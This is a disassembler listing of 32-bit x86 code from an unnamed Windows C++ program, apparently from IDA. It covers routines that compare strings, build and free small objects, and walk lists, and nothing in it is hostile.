var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_14 = byte ptr 18h
arg_18 = byte ptr 1Ch
arg_2C = byte ptr 30h
arg_30 = byte ptr 34h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_5C = byte ptr 60h
arg_60 = byte ptr 64h
push 0FFFFFFFFh
push offset SEH_413E70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
sub esp, 18h
lea eax, [esp+3Ch+arg_30]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push eax
mov [esp+40h+var_4], 4
call sub_4014D3
mov ecx, ebp
call sub_401CE4
xor ebx, ebx
cmp eax, ebx
jnz loc_41405E
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push edx
call sub_4014D3
mov ecx, ebp
call sub_402130
mov edi, eax
cmp edi, ebx
jz loc_41405E
push edi
lea eax, [esp+28h+arg_18]
sub esp, 18h
mov ecx, esp
mov [esp+40h+var_14], esp
push eax
call sub_4014D3
mov ecx, ebp
call sub_4011DB
cmp al, bl
jz loc_41405E
push offset byte_448F30
lea ecx, [esp+28h+arg_48]
call sub_4012EE
test eax, eax
jz short loc_413F57
lea ecx, [edi+2Ah]
call sub_4017EE
lea ecx, [esp+24h+arg_48]
mov esi, eax
call sub_4017EE
loc_413F26: ; CODE XREF: sub_413E70+D4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413F4A
cmp cl, bl
jz short loc_413F46
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413F4A
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413F26
loc_413F46: ; CODE XREF: sub_413E70+C0j
xor eax, eax
jmp short loc_413F4F
; ---------------------------------------------------------------------------
loc_413F4A: ; CODE XREF: sub_413E70+BCj
; sub_413E70+CAj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413F4F: ; CODE XREF: sub_413E70+D8j
cmp eax, ebx
jnz loc_41405E
loc_413F57: ; CODE XREF: sub_413E70+A1j
push offset byte_448F30
lea ecx, [esp+28h+arg_60]
call sub_4012EE
test eax, eax
jz short loc_413FB3
lea ecx, [edi+3Fh]
call sub_4017EE
lea ecx, [esp+24h+arg_60]
mov esi, eax
call sub_4017EE
loc_413F82: ; CODE XREF: sub_413E70+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413FA6
cmp cl, bl
jz short loc_413FA2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413FA6
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413F82
loc_413FA2: ; CODE XREF: sub_413E70+11Cj
xor eax, eax
jmp short loc_413FAB
; ---------------------------------------------------------------------------
loc_413FA6: ; CODE XREF: sub_413E70+118j
; sub_413E70+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413FAB: ; CODE XREF: sub_413E70+134j
cmp eax, ebx
jnz loc_41405E
loc_413FB3: ; CODE XREF: sub_413E70+FAj
push 58h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+24h+var_10], eax
cmp eax, ebx
mov byte ptr [esp+24h+var_4], 5
jz short loc_413FD3
mov ecx, eax
call sub_401D1B
jmp short loc_413FD5
; ---------------------------------------------------------------------------
loc_413FD3: ; CODE XREF: sub_413E70+158j
xor eax, eax
loc_413FD5: ; CODE XREF: sub_413E70+161j
mov [esp+24h+var_14], eax
mov [eax], edi
mov ecx, [esp+24h+var_14]
lea eax, [esp+24h+arg_0]
push eax
add ecx, 4
mov byte ptr [esp+28h+var_4], 4
call sub_40202C
mov eax, [esp+24h+var_14]
lea edx, [esp+24h+arg_30]
push edx
lea ecx, [eax+19h]
call sub_40202C
lea ecx, [esp+24h+var_14]
push ecx
lea ecx, [ebp+6Ch]
call sub_401410
; ---------------------------------------------------------------------------
lea ecx, [esp+28h]
mov byte ptr [esp+28h+var_8], 3
call sub_401226
lea ecx, [esp+28h+arg_14]
mov byte ptr [esp+28h+var_8], 2
call sub_401226
lea ecx, [esp+28h+arg_2C]
mov byte ptr [esp+28h+var_8], 1
call sub_401226
lea ecx, [esp+28h+arg_44]
mov byte ptr [esp+28h+var_8], bl
call sub_401226
lea ecx, [esp+28h+arg_5C]
mov [esp+28h+var_8], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_4140AB
; ---------------------------------------------------------------------------
loc_41405E: ; CODE XREF: sub_413E70+44j
; sub_413E70+68j ...
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_401226
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_401226
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_401226
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_401226
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_4140AB: ; CODE XREF: sub_413E70+1ECj
mov ecx, [esp+24h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 14h
retn 78h
sub_413E70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414160 proc near ; CODE XREF: sub_401D1Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414160
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414160 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4141F0: ; CODE XREF: ___:00401DD9j
push 0FFFFFFFFh
push offset loc_43AF10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+24h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+3Ch]
sub esp, 18h
mov ecx, esp
mov [esp+58h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov eax, [esp+50h]
sub esp, 18h
mov ecx, esp
mov [esp+6Ch], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401870
mov edx, [esp+64h]
sub esp, 18h
mov ecx, esp
mov [esp+80h], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401870
mov eax, [esp+78h]
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
mov byte ptr [esp+8Ch], 3
call sub_401870
mov ecx, esi
mov dword ptr [esp+88h], 0FFFFFFFFh
call sub_4018AC
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 14h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4142E0 proc near ; CODE XREF: sub_401541j
add ecx, 6Ch
jmp sub_401C76
sub_4142E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414300 proc near ; CODE XREF: sub_40137Fj
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414300
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push 60h
mov [esp+1Ch+var_4], 3
call sub_437AEA
sub_414300 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 4
jz short loc_414343
mov ecx, eax
call sub_401BF4
; ---------------------------------------------------------------------------
jmp short loc_414345
; ---------------------------------------------------------------------------
loc_414343: ; CODE XREF: ___:00414338j
xor eax, eax
loc_414345: ; CODE XREF: ___:00414341j
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 3
push ecx
mov ecx, eax
mov [esp+8], eax
call sub_40202C
mov eax, [esp+4]
lea edx, [esp+34h]
push edx
lea ecx, [eax+15h]
call sub_40202C
mov edx, [esp+4]
lea ecx, [esp+4Ch]
push ecx
lea ecx, [edx+2Ah]
call sub_40202C
mov ecx, [esp+4]
lea eax, [esp+64h]
push eax
add ecx, 3Fh
call sub_40202C
lea edx, [esp+4]
lea ecx, [esi+60h]
push edx
call sub_401F0F
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 2
call sub_401226
lea ecx, [esp+34h]
mov byte ptr [esp+14h], 1
call sub_401226
lea ecx, [esp+4Ch]
mov byte ptr [esp+14h], 0
call sub_401226
lea ecx, [esp+64h]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0Ch]
pop esi
mov large fs:0, ecx
add esp, 14h
retn 60h
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414430 proc near ; CODE XREF: sub_401BF4j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+18h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+18h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+18h+var_4], 2
call sub_40142E
lea eax, [esp+18h+var_11]
lea ecx, [esi+54h]
push eax
mov byte ptr [esp+1Ch+var_4], 3
call sub_40132A
sub_414430 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4144D0: ; CODE XREF: ___:004010FAj
push 0FFFFFFFFh
push offset loc_43AFD8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+20h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+38h]
sub esp, 18h
mov ecx, esp
mov [esp+54h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov eax, [esp+4Ch]
sub esp, 18h
mov ecx, esp
mov [esp+68h], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401870
mov edx, [esp+60h]
sub esp, 18h
mov ecx, esp
mov [esp+7Ch], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401870
mov ecx, esi
mov dword ptr [esp+70h], 0FFFFFFFFh
call sub_40137F
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 10h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4145A0 proc near ; CODE XREF: sub_401DC0j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4145A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
lea ecx, [esp+18h+var_14]
mov [esp+18h+var_4], 0
mov [esp+18h+var_10], 0
call sub_401E38
mov eax, [esp+18h+arg_18]
lea ecx, [esp+18h+arg_18]
push ecx
lea esi, [eax+54h]
mov ecx, esi
call sub_4012E9
mov edx, [eax]
lea eax, [esp+18h+arg_18]
push eax
mov ecx, esi
mov [esp+1Ch+var_14], edx
call sub_401D9D
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D70
test al, al
jz short loc_414650
loc_414605: ; CODE XREF: sub_4145A0+AEj
lea ecx, [esp+18h+arg_0]
push ecx
lea ecx, [esp+1Ch+var_14]
call sub_401FC3
mov ecx, [eax]
call sub_401B86
test eax, eax
jnz short loc_41462D
lea ecx, [esp+18h+var_14]
call sub_401FC3
mov edx, [eax]
mov [esp+18h+var_10], edx
loc_41462D: ; CODE XREF: sub_4145A0+7Cj
lea ecx, [esp+18h+var_14]
call sub_4020C2
lea eax, [esp+18h+arg_18]
mov ecx, esi
push eax
call sub_401D9D
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D70
test al, al
jnz short loc_414605
loc_414650: ; CODE XREF: sub_4145A0+63j
mov eax, [esp+18h+var_10]
test eax, eax
jz short loc_414698
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_401258
mov ecx, [esp+18h+var_10]
test ecx, ecx
jz short loc_414673
push 1
call sub_4019EC
loc_414673: ; CODE XREF: sub_4145A0+CAj
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 1Ch
; ---------------------------------------------------------------------------
loc_414698: ; CODE XREF: sub_4145A0+B6j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 14h
retn 1Ch
sub_4145A0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414710 proc near ; CODE XREF: sub_4019ECj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402243
test [esp+4+arg_0], 1
jz short loc_414728
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414728: ; CODE XREF: sub_414710+Dj
mov eax, esi
pop esi
retn 4
sub_414710 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_414740 proc near ; CODE XREF: sub_402243j
jmp sub_401226
sub_414740 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414760: ; CODE XREF: ___:00401276j
push 0FFFFFFFFh
push offset loc_43B020
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
push edi
mov ebp, ecx
xor ebx, ebx
push offset asc_444C64 ; ":"
lea eax, [esp+1Ch]
push ebx
push eax
lea ecx, [esp+4Ch]
mov [esp+44h], ebx
mov byte ptr [esp+1Fh], 1
xor esi, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jz short loc_414829
loc_4147C3: ; CODE XREF: ___:00414827j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+44h]
sub esp, 18h
mov edx, esp
mov [esp+30h], esp
push offset asc_444C64 ; ":"
push esi
push edx
call sub_4016B8
mov ecx, ebp
call sub_401DC0
cmp al, bl
jnz short loc_4147F0
mov [esp+13h], bl
loc_4147F0: ; CODE XREF: ___:004147EAj
inc esi
push offset asc_444C64 ; ":"
lea eax, [esp+1Ch]
push esi
push eax
lea ecx, [esp+4Ch]
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jnz short loc_4147C3
loc_414829: ; CODE XREF: ___:004147C1j
lea ecx, [esp+40h]
mov dword ptr [esp+38h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+30h]
mov al, [esp+13h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 2Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4148A0 proc near ; CODE XREF: sub_40212Bj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4148A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+1Ch+arg_0]
mov [esp+1Ch+var_4], 1
call sub_4017EE
test eax, eax
jz loc_4149D4
lea ecx, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], 0
call sub_402275
add esi, 6Ch
lea eax, [esp+1Ch+var_10]
push eax
mov ecx, esi
call sub_401901
mov ecx, [eax]
lea edx, [esp+1Ch+var_10]
mov [esp+1Ch+var_18], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jz short loc_41497E
loc_414914: ; CODE XREF: sub_4148A0+DCj
lea eax, [esp+1Ch+arg_0]
lea ecx, [esp+1Ch+var_18]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 4
call sub_401B86
test eax, eax
jz short loc_41494C
lea ecx, [esp+1Ch+arg_18]
push ecx
lea ecx, [esp+20h+var_18]
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B86
test eax, eax
jnz short loc_41495B
loc_41494C: ; CODE XREF: sub_4148A0+8Ej
lea ecx, [esp+1Ch+var_18]
call sub_40135C
mov edx, [eax]
mov [esp+1Ch+var_14], edx
loc_41495B: ; CODE XREF: sub_4148A0+AAj
lea ecx, [esp+1Ch+var_18]
call sub_40118B
lea eax, [esp+1Ch+var_10]
mov ecx, esi
push eax
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jnz short loc_414914
loc_41497E: ; CODE XREF: sub_4148A0+72j
mov eax, [esp+1Ch+var_14]
test eax, eax
jz short loc_4149D4
lea ecx, [esp+1Ch+var_14]
push ecx
mov ecx, esi
call sub_40214E
mov ecx, [esp+1Ch+var_14]
test ecx, ecx
jz short loc_4149A1
push 1
call sub_401708
loc_4149A1: ; CODE XREF: sub_4148A0+F8j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
add esp, 18h
retn 30h
; ---------------------------------------------------------------------------
loc_4149D4: ; CODE XREF: sub_4148A0+2Ej
; sub_4148A0+E4j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 30h
sub_4148A0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414A70 proc near ; CODE XREF: sub_401708j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A6E
test [esp+4+arg_0], 1
jz short loc_414A88
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414A88: ; CODE XREF: sub_414A70+Dj
mov eax, esi
pop esi
retn 4
sub_414A70 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414AA0 proc near ; CODE XREF: sub_401A6Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+43h]
mov [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414AA0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414B30: ; CODE XREF: ___:004013B1j
push 0FFFFFFFFh
push offset loc_43B098
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40212B
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414BC0: ; CODE XREF: ___:00401B45j
push 0FFFFFFFFh
push offset loc_43B0B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0
call sub_4017EE
test eax, eax
jz loc_414CC7
lea ecx, [esp+4]
mov dword ptr [esp+8], 0
call sub_401037
add esi, 60h
lea eax, [esp+0Ch]
push eax
mov ecx, esi
call sub_401992
mov ecx, [eax]
lea edx, [esp+0Ch]
mov [esp+4], ecx
push edx
mov ecx, esi
call sub_402257
push eax
lea ecx, [esp+8]
call sub_401AEB
test al, al
jz short loc_414C7F
loc_414C34: ; CODE XREF: ___:00414C7Dj
lea eax, [esp+20h]
lea ecx, [esp+4]
push eax
call sub_4011D1
mov ecx, [eax]
call sub_401B86
test eax, eax
jnz short loc_414C5C
lea ecx, [esp+4]
call sub_4011D1
mov ecx, [eax]
mov [esp+8], ecx
loc_414C5C: ; CODE XREF: ___:00414C4Bj
lea ecx, [esp+4]
call sub_4018C5
lea edx, [esp+0Ch]
mov ecx, esi
push edx
call sub_402257
push eax
lea ecx, [esp+8]
call sub_401AEB
test al, al
jnz short loc_414C34
loc_414C7F: ; CODE XREF: ___:00414C32j
mov eax, [esp+8]
test eax, eax
jz short loc_414CC7
lea eax, [esp+8]
mov ecx, esi
push eax
call sub_401154
mov ecx, [esp+8]
test ecx, ecx
jz short loc_414CA2
push 1
call sub_4011C7
; ---------------------------------------------------------------------------
loc_414CA2: ; CODE XREF: ___:00414C99j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+0Ch]
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_414CC7: ; CODE XREF: ___:00414BEEj
; ___:00414C85j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+10h]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414D40 proc near ; CODE XREF: sub_4011C7j
push esi
mov esi, ecx
call sub_401B59
sub_414D40 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_414D58
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414D58: ; CODE XREF: ___:00414D4Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414D70 proc near ; CODE XREF: sub_401B59j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414D70
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+54h]
mov [esp+14h+var_4], 3
call sub_401582
sub_414D70 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+3Fh]
mov byte ptr [esp+10h], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414E10 proc near ; CODE XREF: sub_4014C9j
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_414E10
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
push esi
mov esi, [esp+54h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414F0B
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push eax
call sub_4014D3
sub esp, 18h
mov [esp+88h+var_4], 0
mov ecx, esp
mov [esp+88h+var_4C], esp
push offset byte_448F30
call sub_401870
or ebx, 0FFFFFFFFh
mov ecx, offset word_44AC5E
mov [esp+88h+var_4], ebx
call sub_40212B
test al, al
jz loc_415040
push 0
push 5
push 19h
push 2
push 4
push 0Fh
push 0Fh
lea ecx, [esp+74h+var_3C]
push 21h
push ecx
call sub_4019C4
add esp, 24h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 1
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+58h+var_3C]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414F0B: ; CODE XREF: sub_414E10+36j
lea ecx, [edi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_415040
sub esp, 18h
lea edx, [esi+54h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push edx
call sub_4014D3
sub esp, 18h
lea eax, [esi+3Fh]
mov ecx, esp
mov [esp+88h+var_4C], esp
push eax
mov [esp+8Ch+var_4], 2
call sub_4014D3
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0A0h+var_48], esp
push edx
mov byte ptr [esp+0A4h+var_4], 3
call sub_4014D3
sub esp, 18h
mov ecx, esi
mov eax, esp
mov [esp+0B8h+var_44], esp
push 1
push offset asc_444600 ; " "
push 2
push eax
mov byte ptr [esp+0C8h+var_4], 4
call sub_4011EA
sub esp, 18h
mov byte ptr [esp+0D0h+var_4], 5
mov ecx, esp
mov [esp+0D0h+var_40], esp
push 1
push offset asc_444600 ; " "
push 1
push ecx
mov ecx, esi
call sub_4011EA
or ebx, 0FFFFFFFFh
mov ecx, offset word_44AC5E
mov [esp+0D0h+var_4], ebx
call sub_4018AC
test al, al
jz short loc_415040
push 0
push 4
push 5
push 14h
push 10h
push 5
push 3
push 3
lea edx, [esp+78h+var_24]
push 1Bh
push edx
call sub_4019C4
add esp, 28h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 6
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+58h+var_24]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_415040: ; CODE XREF: sub_414E10+82j
; sub_414E10+10Dj ...
mov ecx, [esp+58h+var_C]
pop edi
pop esi
xor al, al
mov large fs:0, ecx
pop ebx
add esp, 4Ch
retn 4
sub_414E10 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415100 proc near ; CODE XREF: sub_40132Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401ED8
sub_415100 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
